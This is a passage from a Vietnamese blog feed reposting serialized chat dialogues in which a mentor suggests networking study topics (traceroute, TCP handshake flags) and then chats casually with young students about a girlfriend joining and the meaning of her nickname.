&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nói là bài tập thì cũng không đúng. Thật ra nó chỉ là một vài  điểm nhỏ cần tham khảo thôi. Anh muốn mấy đứa, nếu rảnh, nên tìm hiểu xem  traceroute (trên UNIX) và tracert (trên Windows) làm việc ra sao. Chúng gởi cái  gì đi và nhận cái gì về trong các trường hợp thông thường. Biên độ tìm hiểu sâu  / rộng thế nào là tùy bọn em. Nếu siêng hơn nữa thì tìm hiểu (hoặc xem lại) thật  kỹ cơ chế '3-way handshaking' của tcp. Đặc biệt chú tâm đến những đặc điểm: khi  nào thì gói tcp dùng syn flag, khi nào dùng ack, khi nào dùng ack-psh, khi nào  dùng fin, khi nào dùng rst... Nắm những cái này thì lần tới mình 'đà khía' sẽ  thông suốt hơn." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Lần này 'docco' lên  tiếng trước:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà, anh có vẻ cụ thể hơn  những lần trước rồi đây. Chắc là chuyện này có gì quan trọng nên anh yêu cầu bọn  em tham khảo?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Quan trọng thì kiến thức nào cũng quan trọng  hết cả nhưng cụ thể trong nội dung mình đang bàn, anh muốn bọn em thấu đáo hơn  bằng cách tham khảo thêm. Có vậy thì mới vui chớ? :) ). &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' nói:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, chuyện  này dễ thôi mà. Để em lục trong kho e-book của em thế nào cũng có cả đống thông  tin cho mà xem." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' giận dỗi:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Kìa, kìa, có cả 'kho' e-book mà dấu người ta  phải hông? Sao hồi giờ giữ khư khư cái 'kho' đó vậy? :(" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' biết ngay là cô bé Như đang dỗi, bèn cuốn quýt lên  tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ùm.. è... anh đây có giấu Như hồi  nào đâu à. Tại vì mỗi lần nói đến chuyện máy tính là Như gạt ngang đó thôi.  Trời, cái gì anh còn 'dâng' hết cho Như được huống hồ chi mấy quyển e-book quèn  đó? ;-)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' xen vào trêu:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thôi thôi, hai ông bà muốn ca cải lương thì vô  phòng kín mà ca dùm. Tui nghe "anh, anh, Như, Như" tự nhiên cứ nổi gai liên hồi  đây." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, chêm thêm:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, bây giờ anh cũng phải dọt luôn. Anh em mình  chuồn đi Duy, để hai đứa nó cứ tha hồ mà "anh, anh, Như, Như" cho tiện. Khi nào  rảnh mấy anh em mình lại đà khía hả? Chào mấy đứa." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi logoff, thầm nghĩ "hèm... không biết mấy trự có chịu chuẩn  bị gì cho lần tới không đây?"&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;17/10/2005  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;còn&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-9</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-9.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:09:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-6651313146817995288</guid><description>&lt;title&gt;Rookie09&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-weight: bold; font-family: arial;" href="./Rookie09_files/filelist.xml" rel="File-List"&gt; &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} span.postbody 	{mso-style-name:postbody;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-weight: bold; font-family: arial;" class="Section1"&gt; &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(255, 0, 0);" class="postbody"&gt;12. Information... What for? - I  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Mấy tuần qua tôi quá bận rộn nên đã 'lờ' khá  nhiều mail và offline messages từ bộ ba 'cuti', 'haothu' và 'docco' và tất nhiên  tôi cũng lờ khá nhiều mail từ những người khác. Tôi được nghỉ bù liên tiếp ba  ngày (cộng với hai ngày cuối tuần là năm ngày). Dự định sẽ đưa gia đình đi chơi  đâu đó, không ngờ trời đổ mưa tầm tã cho nên đành phải thúc thủ trong nhà. Tôi  quyết định online để đọc mail, trả lời mail và xem offline messages. Như dự  đoán, tôi có hàng trăm email trong inbox và hàng 'tấn' offline messages. Đang  trong lúc thong thả đọc và trả lời từng cái (đáng trả lời), YIM bỗng nhiên báo  'cuti' vừa vào. Tôi hết sức ngạc nhiên vì lúc này bên VN mới có 7 giờ sáng.  Không hiểu 'cuti' làm gì mà mò vào YIM sáng tinh mơ như thế. Tôi bèn gởi anh  chàng một message:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hello Hưng, làm gì mà mò  lên đây sớm quá vậy?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Trong tích tắc, tôi  nhận được hồi báo:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ui trời, hôm nay là ngày  gì mà đặc biệt vậy? Sao giờ này anh lên đây, bộ anh không đi làm sao?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, anh được mấy ngày nghỉ bù, định đi chơi đâu đó nhưng trời  đang mưa tầm tã nên lên web dạo chơi :). Còn em làm gì mà dậy sớm vậy?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' trả lời có vẻ uể oải:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, đáng lẽ hôm nay em đi học nhưng bị cúm mấy  hôm nay, trong người còn thấy nhừ quá nên ở nhà. Em dậy hồi sớm à. Nằm hoài  trong giường buồn quá nên mò lên net chơi. Vậy anh em mình 'đà khía' lai rai  được hông anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nếu trời cứ mưa thì anh em mình tha hồ mà 'đà  khía' nhưng trời tạnh mưa thì anh sẽ dẫn mấy thằng nhóc đi chơi. Em muốn 'đà  khía' gì đây?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' khoái chí:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hi hi, em muốn trời mưa hoài. Anh em mình 'đà  khía' chuyện gì mà không được anh? Chuyện trên trời, dưới đất cho vui mà. À, em  có một chuyện cũng buồn cười lắm. Anh muốn nghe không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi ngần ngừ:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Èm... cũng  tùy chuyện đó là chuyện gì nữa em. Nếu em nghĩ là anh thích nghe thì em kể đi."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' bẽn lẽn"&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cũng chẳng có gì đặc biệt đâu anh. Chuyện em với con 'ghệ' bồ đó  mà." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ui trời, 'nàng tiên của lòng anh' mà sao gọi là 'con ghệ' vậy  em? ;-)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' cười, trả lời câu hỏi của  tôi:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh không biết đó thôi, đó là cách gọi  thân mật và âu yếm đó thôi mà." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả  lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà... có lẽ anh lỗi thời rồi. Anh  mà gọi bà xã anh là 'con ghệ' thì chắc nguy to ;-). Ừa, em kể đi, có chuyện gì  với 'con ghệ' mà em có vẻ phấn khởi vậy?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' bắt đầu:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh còn  nhớ hồi bữa, lần cuối cùng bốn anh em mình 'đà khía' hông? Thật ra hôm đó em có  hẹn với 'con ghệ' nhưng em quyết định cho nó leo cây. Ai biểu tắt di động làm  chi, em gọi hoài không được nên... xù." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tắc di động  là tắc thế nào em? anh không hiểu lắm." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' phát biểu:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Kiểu  này anh phải về VN làm một khóa tu từ đi anh, 'di động' là điện thoại di động  đó. Hì hì." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À... hoá ra là thế. Anh cứ ngỡ con mèo di động hay con chuột di  động gì đó ;-)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' tiếp tục:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em phải dùng từ cẩn thận không thì lại bị anh  kê cho. Tối hôm đó, 'con ghệ' đợi hoài không thấy em đến nên nổi 'khùng' lên.  Điện thoại di động em thì hết pin mà cũng chưa kịp sạc nữa. Thế là ẻm bèn phóng  xe đến nhà em. Chưa giáp mặt, đã mắng em xối xả vì em đã cho bả leo cây."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy là tốt rồi, 'nường' còn chịu khó phóng xe đến nhà em để mắng  thì không có gì trầm trọng. Rồi sao nữa." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' cười, nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì  hì, anh không rõ đó thôi. Con bồ em tánh nóng như lửa, có gì là huỵch toẹt ra  hết. Lúc đó nghe thì cũng ngứa con ráy lắm nhưng riết cũng quen. Nó buộc tội em  là mê net, mê chat với 'con quỷ cái' nào đến nỗi phải cho nó leo cây. Em cố sức  phân trần nhưng không hiệu quả. Rốt cuộc em phải cho nó xem nội dung mấy anh em  mình 'đà khía' nó mới chịu yên." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  cười:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, hoá ra trước đó em chưa hề kể  cho 'con ghệ' nghe về mối quan hệ 'bất chính' của mấy anh em mình sao?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, em định kể cho nó nghe nhiều lần nhưng cứ mỗi lần đi chơi mà  đề cập đến tin học, đến máy tính là nó gạt phăng đi. Nó nói &lt;i&gt;"bộ ôm máy cả  ngày, cả tuần chưa đã nư sao mà hễ mở miệng ra là máy tính, máy tính"&lt;/i&gt; nên  em... im luôn." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thú vị lắm. Vậy sau đó thế nào em?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' cười hớn hở:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ sau đó thì tụi em đi uống nước một chút rồi về. Lúc mấy anh  em mình kết thúc thì bên đây mới có 7 giờ tối chớ mấy anh. Thế là trong lúc đi  uống nước, 'con ghệ' cứ đem chuyện mấy anh em mình 'đà khía' ra hỏi dồn. Em nói  với nó là em có lưu lại nội dung anh em mình chat, để em cho nó một bản để đọc  cho khỏi thắc mắc." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, con gái là chúa tò mò mà em. Cái gì càng  dấu, càng thích tò mò ;-)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' cười  hi hi, rồi nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chưa hết. Sau khi em  đưa cho nó cái file chứa nội dung anh em mình chat, mấy ngày sau nó nhất định  đòi em phải giới thiệu anh cho nó. Nó cũng muốn tham gia 'đà khía' với mấy anh  em mình luôn. Em nói là em sẽ chuyển lời nhưng em không hứa gì hết."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười ghẹo 'cuti':&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, được dịp trả đũa nên làm khó 'nường' hay  sao đây? Hoá ra là chuyện con bé muốn tham gia :). Thì cứ dẫn 'nường' lên 'đà  khía' chung chớ có gì quan trọng đâu em?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em nói  thiệt mà anh. Em không thể hứa gì nó vì em không biết hay sẽ nói gì. Lỡ may em  đề nghị và anh phán &lt;i&gt;con gái, con lứa mà bày vẽ, lắm chuyện&lt;/i&gt; thì có quê cả  đám hông à." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có gì mà không ok em. Kêu nó tham gia cho vui  chớ có sao đâu à." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;"cuti" trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, để em báo cho nó biết. 'Con gái, con lứa'  mệt lắm anh ơi, khi thế này, khi thế kia, chẳng biết đường nào mà mò."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Bên ngoài mưa đã ngớt. Tôi đoán mấy thằng  nhóc của tôi sắp sửa vòi vĩnh chuyện đi chơi đây. Cho nên tôi cho 'cuti'  biết:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có lẽ anh sẽ đi chơi với mấy thằng  nhóc. Trời bên này đã tạnh mưa rồi em. Chiều tối nay anh ở nhà, nếu thích em rủ  đám Khoa, Duy và 'con ghệ' vào đà khía cho vui." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;"cuti" hớn hở:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, vậy  thì vui quá. Em bệnh nằm nhà hoài chán quá. Được đà khía vậy thì quá đã. Để em  điện cho tụi nó liền. Vậy khoảng mấy giờ anh lên?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi phỏng chừng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh đoán  khoảng 4, 5 giờ chiều bên em đó, có tiện không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' chậc lưỡi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chậc chậc... hơi kẹt đó anh. Bọn em thì dễ nhưng con Như chắc  kẹt vì em đoán giờ đó nó phải nấu cơm chiều rồi. Thôi kệ nó vậy. Khi khác cho nó  tham gia cũng được." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi 'chỉnh'  'cuti':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hèm... nó là girl friend của em mà  cứ 'con' với 'nó' nghe hông 'ngọt' tí nào hết em. Vậy ngày mai khoảng 2 giờ trưa  bên em được hông?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti" trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, 2 giờ trưa thì chắc ok rồi anh. Nó có lên  trễ một tí cũng không sao. Còn chuyện 'nó' với 'con' em bị quen miệng rồi anh  ơi. Gọi thế nào cho ổn đây anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Kêu bằng tên đi em và cũng không cần  phải đệm thêm chữ 'con' :). Rồi, 2 giờ trưa bên em hả? Anh đi đây."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' phàn nàn:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ chào anh. Đúng là anh già khó tính, thêm chữ 'con' cũng không  được ;-)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi logoff.&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;----------------------------  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Chiều hôm sau, như đã hẹn, tôi lại logon  YIM. Khi vào, tôi thấy hai khuôn mặt 'vàng khè' của 'cuti' và 'docco' cộng thêm  một 'request for accept' của một người có cái nick khá ngộ nghĩnh và bí hiểm là  ccxx kèm theo thông điệp ngắn gọn: "Dạ em là Như đây, bạn của Hưng, Khoa  và Duy đó anh. Anh add em được không ạ?". Hiển nhiên là 'cô bồ' của 'cuti' nhà  mình. Tôi nhấn nút "accept" và một khuôn mặt 'vàng khè' trên cái nick ccxx hiện  ra trên danh sách YIM của tôi. Chẳng thấy 'haothu' đâu cả, hay anh chàng đang  'invisible'? &lt;/i&gt;&lt;/span&gt;&lt;i&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Trong tích tắc, một  "conference invitation" được ccxx gởi đến. Trong khi nhấn nút "Accept", tôi thầm  nghĩ "chà, cô bé này có vẻ nhậm lẹ đây". &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Trong 'conference room' có 'cuti', 'docco' và 'ccxx' nhưng chẳng  thấy bóng dáng 'haothu' đâu cả. 'ccxx' lên tiếng:&lt;/span&gt;&lt;/i&gt;&lt;span class="postbody"&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào 'anh già khó tính' ạ. Em  xin tự giới thiệu em là Như. Rất vui được làm quen với anh."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi mỉm người, tự nhủ "con bé liếng quả  nhỉ" và đáp lễ:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào Như, cũng bắt chước cu  Hưng gọi anh là 'anh già khó tính' sao? Còn 'haothu' đâu rồi mấy đứa?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' trả lời lẹ làng:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, em nghe nói nó bị kẹt. Không rõ bị kẹt gì  mà không online được anh." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Lúc này 'cuti'  và 'docco' mới lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào anh già khó  tính, anh đi chơi với mấy nhóc có vui không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào anh D, mới có vài tuần mà em thấy như hàng tháng vậy. Anh  khoẻ không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, đi chơi cũng vui lắm em. Anh cũng khỏe, còn  em dạo này sao Duy?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ em cũng bình thường anh. Dạo này em đọc  nhiều hơn và ít đi chơi hơn :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tốt quá vậy? Anh tin là em 'luyện'  được mấy 'tầng nội công' rồi đó :). Ừa, nãy giờ anh thử đoán cái nick ccxx là  cái gì. Anh nghĩ là đoán đúng hông chừng." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' cười khoái chí:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh đoán ra được em phục lăn liền đó. Hồi giờ chưa có ai đoán ra  được cái 'bí ẩn' đằng sau cái nick này đó anh." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, nếu  vậy dám anh đoán sai lắm đó. Anh nghĩ ccxx là 'công chúa xấu xí' phải không?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Cả ba 'cuti', 'docco' và 'ccxx' cùng trả  lời gần một lượt:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ồ" &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"wow" &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"độc thiệt"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;và 'ccxx' nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Sao anh đoán một cái là trúng phóc liền dzị? Em thiệt là phục  lăn đó. Mấy người trên mạng toàn liên tưởng cái nick của em đến những thứ bậy bạ  không à." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chắc là mấy 'anh chàng' trên mạng đoán được nhưng không dám nói,  sợ em giận vì nó có hai chữ 'xấu xí' bên trong. Anh nhìn qua chữ ccxx tự nhiên  anh liên tưởng ngay đến 'công chúa xấu xí' liền. Nhưng mà, ccxx có gì mà liên  tưởng đến những thứ bậy bạ vậy em?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' phụng phịu:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh  không biết đó thôi. cc là credit card chùa đó anh, còn xx là mấy thứ... ùm....  à... tầm bậy tầm bạ đó. Thôi, em không nói nữa. À nhưng mà anh không sợ em giận  sao mà nói thẳng hai chữ 'xấu xí' dzị? :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thì xấu  thì chấp nhận xấu chớ có gì mà giận cà." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' phản công:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Còn ông  nữa, còn chừng ông nghe ông." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cắt  ngang:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, anh nghĩ hai chữ 'xấu xí' đó  thật ra hàm chứa một chút kiêu hãnh ngầm đó thôi. Có ai tự cho mình 'xấu xí' bao  giờ? Nếu có thì cũng 'ngầm' khen mình 'xinh đẹp' ;-). Bởi vậy, anh chẳng ngại  nói ra hai chữ này. Riêng với những người liên tưởng cái nick của em thành những  thứ bậy bạ thì chính họ thiệt thòi thôi. Đừng để ý làm gì." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' thốt:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Kinh khủng,  kinh khủng. Em đọc những lời anh đối thoại với đám Hưng, Khoa, Duy đã thấy miệng  lưỡi của anh kinh khủng. Giờ trực tiếp nói chuyện mới thấy quả là không sai :).  Thôi, em nghĩ ngoài việc 'đà khía' chuyện tin học, máy tính, anh nên huấn luyện  ông Duy một khoá 'ái tìn' đi anh. Ông này cũng tốt mã, học giỏi mà sao vẫn chưa  có một 'miểng tìn rách rưới' nào hết. Em bảo đảm anh huấn luyện cho ổng một khoá  là thành công ngay." &lt;/span&gt;
&lt;br /&gt;
